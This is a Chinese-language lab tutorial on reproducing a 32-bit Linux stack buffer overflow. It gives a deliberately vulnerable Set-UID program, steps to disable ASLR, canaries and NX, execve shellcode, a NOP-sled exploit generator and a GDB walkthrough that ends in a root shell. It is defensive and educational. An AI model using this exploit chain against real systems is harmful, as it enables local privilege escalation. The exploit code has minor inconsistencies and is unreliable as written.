缓冲区溢出漏洞复现:从原理到实践,深入理解栈溢出攻击与防御

1. 项目概述:一次对经典漏洞的深度复现

如果你对计算机安全、逆向工程或者底层系统编程感兴趣,那么“缓冲区溢出”这个词你一定不陌生。它就像一个幽灵,在计算机安全史上徘徊了数十年,从早期的大型机到如今的物联网设备,其原理始终是理解软件漏洞攻防的基石。今天,我们不是要制造恐慌,而是要像一位安全研究员或逆向工程师那样,亲手搭建一个受控的实验环境,从零开始,一步步复现一个经典的、基于堆栈的缓冲区溢出攻击。我们的目标不是攻击任何真实系统,而是通过这个“沙盒”实验,彻底搞懂几个核心问题:程序的内存(尤其是栈)是如何被错误的数据“撑破”的?攻击者精心构造的“Shellcode”是如何被注入并执行的?以及,现代操作系统又部署了哪些“防御工事”来抵御这类攻击?

这个实验的价值远超一个简单的漏洞利用。通过动手操作,你将直观地理解函数调用约定、栈帧结构、机器指令执行这些底层概念,它们不仅是安全领域的核心,也是你深入理解操作系统、编译器乃至高性能编程的关键。我们会使用C语言编写一个有漏洞的程序和一个攻击程序,在Linux环境下,配合GCC编译器和GDB调试器,完成一次完整的“攻防”演练。请注意,所有操作均在你自己完全控制的虚拟机或实验环境中进行,绝不针对任何第三方系统。

2. 实验环境搭建与关键配置解析

工欲善其事,必先利其器。一个稳定、可控的实验环境是成功复现缓冲区溢出的前提。现代Linux系统默认开启了许多安全机制,它们会阻止我们进行这种“古老”的攻击,因此第一步就是理解并暂时关闭它们,这本身就是一个学习过程。

2.1 关闭地址空间布局随机化(ASLR)

地址空间布局随机化(Address Space Layout Randomization, ASLR)是现代操作系统最重要的安全缓解措施之一。它的核心思想是每次程序运行时,其堆(heap)、栈(stack)和共享库(libraries)的加载基地址都是随机化的。这意味着,攻击者很难预测到Shellcode或关键函数在内存中的确切地址,从而大大增加了利用难度。

在我们的实验中,为了稳定地定位到栈上的地址,需要临时关闭ASLR。在Linux中,这通过一个内核参数kernel.randomize_va_space来控制。

# 查看当前ASLR设置 cat /proc/sys/kernel/randomize_va_space # 输出为2表示完全开启(栈、堆、共享库等),1表示部分开启(仅栈),0表示关闭 # 临时关闭ASLR(重启后失效) sudo sysctl -w kernel.randomize_va_space=0 # 永久关闭(不建议,仅用于实验环境) # 编辑 /etc/sysctl.conf,添加一行:kernel.randomize_va_space = 0 # 然后执行 sudo sysctl -p

注意:务必在实验完成后重新开启ASLR(sudo sysctl -w kernel.randomize_va_space=2),以恢复系统的安全防护。永远不要在用于日常办公或联网的生产主机上永久关闭此功能。

2.2 处理Shell的权限降级机制

另一个关键的防御机制存在于Shell本身。在Linux中,当一个Set-UID程序(即以高权限,如root身份运行的程序)调用shell(如/bin/bash)时,现代的bash会主动放弃其特权,降级为普通用户权限。这是一种“特权隔离”思想,防止攻击者通过漏洞直接获取一个高权限的shell。

为了复现早期没有此防护措施的环境,我们需要将默认的shell链接到一个行为不同的shell程序。通常,/bin/sh是指向/bin/bash的符号链接。我们可以将其改为指向zsh(在默认配置下,旧版本的zsh可能不会主动降权)或dash

# 进入root权限操作 sudo su # 切换到/bin目录 cd /bin # 移除原有的sh链接 rm sh # 创建指向zsh的新链接(确保zsh已安装,可通过`apt-get install zsh`安装) ln -s zsh sh # 退出root exit

实操心得:并非所有发行版或版本的zsh都保持旧行为。更可靠的方法是直接编译一个不降权的、静态链接的、微型的shell程序作为我们的Shellcode,这能确保攻击的稳定性。我们后续的Shellcode正是采用了这种思路。

2.3 切换到32位编译与调试环境

64位系统已成为主流,但其内存地址更长(8字节),地址空间更大,某些攻击细节与32位系统有所不同。为了与大量经典教材和案例保持一致,简化地址计算和内存布局的理解,我们选择在32位环境下进行实验。如果你的宿主机是64位Linux,可以通过安装多架构支持和指定编译参数来实现。

# 安装32位运行时库(以Ubuntu/Debian为例) sudo apt-get update sudo apt-get install gcc-multilib # 编译时使用-m32参数,强制生成32位程序 gcc -m32 -o test test.c

此外,为了获得更纯粹的32位环境,可以使用linux32命令临时改变进程的“人格”,使其认为自己运行在32位系统下,这对于一些系统调用和内存布局有影响。

# 进入32位环境 linux32 # 此时可以运行`uname -m`查看,应显示i686或类似,而非x86_64 # 退出32位环境 exit

在本次实验中,我们主要在编译时使用-m32参数即可。

3. 漏洞程序(Victim Program)的编写与编译

我们的“靶子”是一个故意留下缓冲区溢出漏洞的C程序。理解它的每一行代码,是理解整个攻击链的第一步。

3.1 漏洞代码深度剖析

/tmp目录下创建stack.c文件,内容如下:

/* stack.c - 存在缓冲区溢出漏洞的程序 */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; // 在栈上分配一个12字节的字符数组 /* 下面这条语句存在缓冲区溢出问题 */ strcpy(buffer, str); // 将str的内容复制到buffer,无长度检查! return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); // 打开名为"badfile"的文件 if (!badfile) { printf("无法打开文件 badfile.\n"); exit(1); } fread(str, sizeof(char), 517, badfile); // 读取最多517字节到str数组 fclose(badfile); bof(str); // 调用存在漏洞的函数 printf("Returned Properly\n"); // 如果控制流正常返回,会打印这句 return 1; }

关键点解析

  1. 漏洞点bof函数中的strcpy(buffer, str)strcpy是一个不安全的函数,它从源地址str一直复制字符到目标地址buffer,直到遇到字符串终止符\0。如果str的长度超过12字节(buffer的大小),多出的字符就会覆盖buffer之后栈上的内存数据。
  2. 数据流:程序从badfile文件中读取数据到main函数的局部数组str,然后将其传递给bof函数。这意味着我们可以通过精心构造badfile文件的内容,来控制bof函数栈上的数据。
  3. 栈帧结构:当main调用bof时,会创建一个新的栈帧。典型的32位x86栈帧(使用cdecl调用约定)从高地址向低地址增长,其结构大致如下(调用bof之后):
    高地址 | ... | (main函数的栈帧) | 返回地址 (Return Address) | <- 这是`bof`函数执行完毕后要跳回`main`函数的位置 | 旧的ebp (Saved EBP) | <- 调用者(main)的栈帧基址指针 | buffer[0-11] | <- 局部变量`buffer`的空间(12字节) | ... (可能还有对齐空间) | | str参数指针 | <- 传递给bof的参数`str`的地址 低地址
    strcpy溢出buffer时,数据会向高地址(栈顶方向)覆盖,依次覆盖可能的对齐空间、保存的EBP,最终覆盖返回地址

3.2 关键编译选项与原理

编译这个漏洞程序需要特定的参数来“还原”一个缺乏保护的环境:

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c sudo chmod u+s stack # 将其设置为Set-UID root程序,使攻击成功后能获取root shell
  • -m32:生成32位可执行文件。
  • -g:添加调试信息,方便后续使用GDB进行调试和地址分析。
  • -z execstack这是关键之一。它告诉链接器,程序的栈内存区域是可执行的。默认情况下,现代系统使用NX(No-eXecute)或DEP(Data Execution Prevention)保护,将数据区(如栈和堆)标记为不可执行,从而阻止注入的Shellcode运行。此选项禁用了栈的NX保护。
  • -fno-stack-protector这是关键之二。它禁用GCC的栈保护器(Stack Protector,或称Stack Canary)。栈保护器会在函数栈帧中,在返回地址之前插入一个随机的“金丝雀值”(canary)。函数返回前会检查该值是否被改变,若被改变(可能由于缓冲区溢出),则立即终止程序。此选项移除了这个保护。
  • chmod u+s:设置Set-UID位。当任何用户运行此程序时,它将以文件所有者(这里是root)的权限运行。我们的攻击目标就是利用漏洞,让这个程序为我们执行一个shell,从而继承root权限。

注意事项:在实际的漏洞挖掘中,遇到一个同时满足“存在溢出漏洞”、“栈可执行”、“无栈保护”、“是Set-UID程序”的目标几乎是不可能的。现代编译器和操作系统默认就开启了多重防护。这个实验环境是高度理想化的,旨在剥离所有防护,让我们专注于理解溢出原理本身。

4. Shellcode:攻击载荷的精髓

Shellcode本质是一小段机器码,作为攻击载荷(Payload),在漏洞利用时被送入目标进程并执行。它的终极目标通常是启动一个shell,但也可以是执行任何其他指令,如下载文件、添加用户等。

4.1 Shellcode的构造原理

我们不会直接手写十六进制机器码,而是先理解其对应的汇编/C逻辑,再通过汇编器得到。一个经典的Linux x86系统调用execve(“/bin/sh”, 0, 0)的Shellcode构造如下:

C语言描述

#include <unistd.h> char *argv[] = {“/bin/sh”, NULL}; execve(argv[0], argv, NULL);

对应的汇编思路(x86, Linux)

  1. 将字符串”/bin/sh”的地址压入栈。
  2. 构造参数数组argv(其第一个元素是指向”/bin/sh”的指针,第二个是NULL)。
  3. 将系统调用号0x0b(即execve)放入寄存器eax
  4. ”/bin/sh”的地址放入ebx(第一个参数)。
  5. argv的地址放入ecx(第二个参数)。
  6. NULL(0)放入edx(第三个参数)。
  7. 执行int 0x80指令触发软中断,进入内核态执行系统调用。

为了避免Shellcode中包含\x00(空字符,C字符串的终止符),因为像strcpy这样的函数会在遇到\x00时停止复制,我们需要使用一些技巧,例如用异或操作将寄存器清零,而不是直接mov eax, 0

4.2 生成与提取Shellcode

我们可以写一个简单的汇编程序,然后提取其操作码(Opcode)。

# 编写shellcode.asm section .text global _start _start: xor eax, eax ; 清空eax,同时将al(eax低8位)置0,为后续做准备 push eax ; 将0(字符串终止符)压栈 push 0x68732f2f ; 压入"//sh"(小端序,0x68是push指令的操作码部分) push 0x6e69622f ; 压入"/bin" mov ebx, esp ; ebx指向栈顶,即字符串"/bin//sh"的地址 push eax ; argv[1] = NULL push ebx ; argv[0] = 指向"/bin//sh"的指针 mov ecx, esp ; ecx指向argv数组的地址 xor edx, edx ; edx = NULL (envp) mov al, 0x0b ; execve的系统调用号是11 (0x0b) int 0x80 ; 触发系统调用 # 汇编、链接并提取操作码 nasm -f elf32 shellcode.asm -o shellcode.o ld -m elf_i386 shellcode.o -o shellcode objdump -d shellcode

objdump的输出中,我们可以提取出机器码:

... 08048080 <_start>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 68 2f 2f 73 68 push $0x68732f2f 8048088: 68 2f 62 69 6e push $0x6e69622f 804808d: 89 e3 mov %esp,%ebx 804808f: 50 push %eax 8048090: 53 push %ebx 8048091: 89 e1 mov %esp,%ecx 8048093: 99 cdq 8048094: b0 0b mov $0xb,%al 8048096: cd 80 int $0x80 ...

因此,我们的Shellcode(十六进制形式)为:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80长度是23字节。

实操心得:为什么用”/bin//sh”?因为”/bin/sh”是7个字符,加上终止符共8字节,在32位系统上需要两次push(每次4字节)并处理对齐,比较麻烦。而”/bin//sh”(8个字符)正好可以用两个push指令完美压入栈中(0x68732f2f对应”//sh”0x6e69622f对应”/bin”),多一个/在路径解析上没有影响。这是一种常见的技巧。

5. 攻击程序(Exploit)的构造与地址计算

攻击程序的任务是生成一个特殊的badfile文件。这个文件的内容需要精心构造,使得当漏洞程序stack读取它时,能精确地覆盖bof函数的返回地址,使其指向我们注入的Shellcode。

5.1 攻击程序代码详解

创建exploit.c文件:

/* exploit.c - 生成攻击载荷badfile */ #include <stdlib.h> #include <stdio.h> #include <string.h> // 步骤4中生成的Shellcode char shellcode[] = "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x68""//sh" // pushl $0x68732f2f "\x68""/bin" // pushl $0x6e69622f "\x89\xe3" // movl %esp,%ebx "\x50" // pushl %eax "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\x99" // cdq "\xb0\x0b" // movb $0x0b,%al "\xcd\x80" // int $0x80 ; void main() { char buffer[517]; FILE *badfile; /* 1. 用NOP指令填充整个buffer */ memset(buffer, 0x90, 517); // 0x90是x86的NOP指令,执行时不进行任何操作 /* 2. 计算并填充返回地址 */ long *ptr; long ret; // 用于存储我们计算出的返回地址 // 假设我们通过调试得知buffer的起始地址是 0xffffd420 // Shellcode被放置在 buffer + 100 的位置 // 那么 Shellcode 的起始地址 = buffer地址 + 100 // ret = (long)buffer + 100; // 注意:这里的buffer地址是exploit.c中的地址,我们需要的是stack程序运行时bof函数中buffer的地址! // 下面这行只是一个示意,实际地址需要通过调试stack程序获得。 // ret = 0xffffd420 + 100; // 0xffffd484 // 将返回地址写入buffer的合适偏移处。 // 我们需要知道从bof函数的buffer起始位置到返回地址的偏移量。 // 假设通过分析,这个偏移量是 24 字节 (12字节buffer + 4字节对齐? + 4字节保存的ebp) // 那么覆盖返回地址的位置就在 buffer起始地址 + 24 ptr = (long *)(buffer + 24); // 指向返回地址在buffer中的位置 *ptr = ret; // 将计算出的Shellcode地址写在这里 /* 3. 将Shellcode拷贝到buffer+100的位置 */ memcpy(buffer + 100, shellcode, strlen(shellcode)); /* 4. 将buffer写入文件 */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(bfile); }

关键构造解析

  1. NOP雪橇(NOP Sled)memset(buffer, 0x90, 517);0x90(NOP指令)填满整个缓冲区。这创造了一个巨大的“滑行区”。只要程序跳转到这个区域内的任何一个NOP指令上,CPU就会一路“滑行”直到执行到我们的Shellcode。这降低了我们精确命中Shellcode起始地址的难度。
  2. 返回地址覆盖:这是最需要精确计算的部分。我们需要知道bof函数中,buffer数组的起始地址到保存的返回地址之间的偏移量。这个偏移量取决于编译器、编译选项和函数栈帧布局。通常包括:buffer大小 + 可能的栈对齐填充 + 保存的EBP指针大小。
  3. Shellcode放置:我们将Shellcode放在buffer中靠后的位置(例如偏移100字节处),前面用NOP填充。这样,只要返回地址指向NOP雪橇中的任何位置,都能滑到Shellcode。

5.2 动态调试确定关键地址

上面的exploit.c中,ret地址是未知的。我们必须通过调试stack程序来获取bof函数中buffer的真实地址。这个地址每次运行可能都不同,因为我们关闭了ASLR,所以同一环境下多次运行差异不大,但不同机器、不同环境会不同。

使用GDB调试确定地址

# 编译stack时已加-g选项,方便调试 gdb -q ./stack (gdb) b bof # 在bof函数入口处设置断点 Breakpoint 1 at 0x80491d2: file stack.c, line 8. (gdb) run # 运行程序,程序会停在断点处 Starting program: /tmp/stack Breakpoint 1, bof (str=0xffffd5a0 "") at stack.c:8 8 char buffer[12]; (gdb) print &buffer # 打印buffer数组的起始地址 $1 = (char (*)[12]) 0xffffd42c (gdb) disassemble main # 查看main函数汇编,找到调用bof后的下一条指令地址,即返回地址 ... 0x0804925f <+142>: call 0x80491d2 <bof> 0x08049264 <+147>: add $0x10,%esp # 这是bof返回后要执行的指令 ... # 在bof函数内部,查看栈帧信息 (gdb) info frame Stack level 0, frame at 0xffffd450: eip = 0x80491d2 in bof (stack.c:8); saved eip = 0x8049264 called by frame at 0xffffd480 Arglist at 0xffffd448, args: str=0xffffd5a0 "" Locals at 0xffffd448, Previous frame's sp is 0xffffd450 Saved registers: ebp at 0xffffd448, eip at 0xffffd44c

从调试信息可知:

  • buffer的地址是0xffffd42c
  • 保存的返回地址(saved eip)位于0xffffd44c
  • 因此,buffer起始地址到返回地址的偏移量 =0xffffd44c - 0xffffd42c = 0x20(十进制32)。

为什么是32字节?我们声明buffer是12字节。但编译器为了内存对齐(例如16字节对齐),可能会分配16字节。再加上4字节的保存的EBP,总共20字节。但这里显示偏移是32字节(0x20),说明在buffer和保存的EBP之间还有额外的填充(可能是编译器为了调试或其他原因加入的)。这正是必须通过调试来确定偏移量的原因,理论计算可能不准。

计算Shellcode地址: 我们计划将Shellcode放在buffer + 100的位置。 Shellcode地址 =buffer地址 + 100 =0xffffd42c + 0x64 = 0xffffd490

因此,在exploit.c中,我们需要:

  1. 将返回地址(位于buffer + 32的位置)覆盖为0xffffd490
  2. 注意x86是小端序,所以在内存中字节顺序是\x90\xd4\xff\xff

修改exploit.c中的关键部分:

/* 2. 计算并填充返回地址 */ long *ptr; long ret = 0xffffd490; // 这是我们计算出的Shellcode地址 ptr = (long *)(buffer + 32); // 偏移量是32字节 *ptr = ret;

6. 完整攻击流程与结果验证

现在,让我们将理论付诸实践,执行一次完整的攻击链。

6.1 分步操作指南

  1. 准备环境:确保已按照章节2完成所有环境配置(关闭ASLR、修改shell链接、安装32位库)。
  2. 编译漏洞程序
    cd /tmp gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c sudo chmod u+s stack
  3. 编译攻击程序:将计算出的正确地址(根据你的调试结果)更新到exploit.c中,然后编译。
    # 编辑exploit.c,更新 ret 的值和偏移量 # 假设你的偏移量是offset,buffer地址是buf_addr # ret = buf_addr + 100; # ptr = (long *)(buffer + offset); gcc -m32 -o exploit exploit.c
  4. 生成攻击载荷
    ./exploit
    这会在当前目录生成badfile文件。
  5. 执行攻击
    ./stack
    如果一切计算准确,stack程序会因缓冲区溢出,其bof函数的返回地址被覆盖为0xffffd490(或你计算出的地址)。函数返回时,指令指针(EIP)跳转到该地址,开始执行NOP雪橇,最终滑向并执行Shellcode。

6.2 成功现象与验证

攻击成功时,你将看不到”Returned Properly”这行输出。相反,程序会似乎“静默”地启动了一个新的shell进程。由于stack是Set-UID root程序,这个新启动的shell将拥有root权限。

$ ./stack # 光标停在这里,看起来程序结束了,但实际上已经进入了新的shell whoami root # !你已经是root了 pwd /tmp exit # 退出新的shell,回到原来的终端 $

运行whoami命令,如果返回root,则证明攻击成功,你通过漏洞利用获得了root权限的shell。

6.3 常见问题与排查技巧实录

即使步骤完全正确,第一次尝试也常常失败。以下是几个常见问题及排查思路:

问题现象可能原因排查与解决方法
段错误 (Segmentation fault)1. 返回地址计算错误,跳转到了非法内存地址。
2. Shellcode本身有错误或位置被破坏。
3. 栈不可执行(未加-z execstack编译)。
1.重新调试:用GDB运行stack,在bof函数返回前(strcpy之后),检查栈内存,确认返回地址是否被正确覆盖为预期的Shellcode地址。(gdb) x/32wx buffer起始地址
2.检查Shellcode:确保提取的Shellcode正确无误,且在badfile中的位置(buffer+100)没有错位。可以在GDB中直接执行disassemble 地址看看该地址的指令是否是你的NOP或Shellcode。
3.检查编译选项:确认stack程序编译时包含了-z execstack-fno-stack-protector
程序正常退出并打印”Returned Properly”1. 偏移量计算错误,返回地址未被成功覆盖。
2.badfile文件内容未正确生成或未被读取。
1.验证偏移量:在GDB中,于bof函数内strcpy之后设置断点,打印buffer地址和$ebp,计算返回地址 = $ebp + 4的地址,看其是否被修改。(gdb) x/wx $ebp+4
2.检查文件:用hexdump -C badfile查看文件内容,确认在计算的偏移位置(如第32-35字节)是否是你要的返回地址(小端序),以及100字节后是否是Shellcode。
新shell立即退出或无法执行命令1. Shellcode执行环境问题(如字符串地址错误)。
2. 修改了/bin/sh链接后,zsh行为不符合预期。
1.简化测试:写一个简单的C程序直接执行你的Shellcode数组,看能否成功弹出shell,以排除环境因素。
2.使用更稳定的Shellcode:尝试网上其他经过验证的Linux x86 Shellcode。有时因为环境变量等原因,execve调用会失败。
攻击成功但whoami不是rootstack程序的Set-UID位未设置成功,或文件所有者不是root。检查文件权限:ls -l ./stack,应显示-rwsr-xr-x,且所有者为root。确保是用sudo chmod u+s stack设置的。

高级调试技巧: 在GDB中,你可以在bof函数返回前,直接修改EIP寄存器来测试Shellcode地址是否正确:

(gdb) b *0x08049264 # 在bof的返回地址(main中call bof的下一条指令)设断点 (gdb) run ... 程序会在bof返回前停下 (gdb) set $eip = 0xffffd490 # 将EIP设置为你的Shellcode地址 (gdb) continue

如果此时弹出了shell,说明Shellcode和地址都是正确的,问题可能出在文件生成或偏移计算上。

7. 现代防护机制与实验的启示

成功完成这个实验带来的兴奋感是巨大的,但我们必须清醒地认识到,这只是一个“温室”里的实验。现实中,这样的漏洞利用难如登天,因为现代系统和编译器部署了多重防御:

  1. 栈保护器(Stack Canary / SSP):GCC的-fstack-protector系列选项会在栈上插入随机金丝雀值,函数返回前检查其完整性。我们的实验用-fno-stack-protector关闭了它。
  2. 数据执行保护(DEP / NX):将栈和堆标记为不可执行。我们的实验用-z execstack禁用了栈的NX位。现代系统普遍启用DEP。
  3. 地址空间布局随机化(ASLR):随机化内存布局。我们手动关闭了它。这是目前最有效的缓解措施之一。
  4. 地址无关代码(PIE):将主程序也进行随机化,增加定位代码的难度。编译时未使用-pie选项。
  5. 控制流完整性(CFI):更高级的防护,确保程序执行流不会跳转到意外位置。

这个实验的终极目的,绝不是为了学会攻击,而是为了理解防御。只有亲身体验了攻击是如何发生的,你才能真正理解这些安全机制为何被设计出来,以及它们是如何工作的。当你未来编写C/C++代码时,你会对strcpygetssprintf等危险函数保持天生的警惕;当你进行代码审计时,你会知道去哪里寻找潜在的溢出点;当你学习更高级的漏洞利用技术(如ROP)时,这个关于栈和返回地址的基础知识将不可或缺。

最后,请务必清理实验环境:重新开启ASLR(sudo sysctl -w kernel.randomize_va_space=2),并将/bin/sh链接恢复为/bin/bashsudo ln -sf /bin/bash /bin/sh)。安全研究的第一原则,就是在受控的环境中进行,并且结束后不留隐患。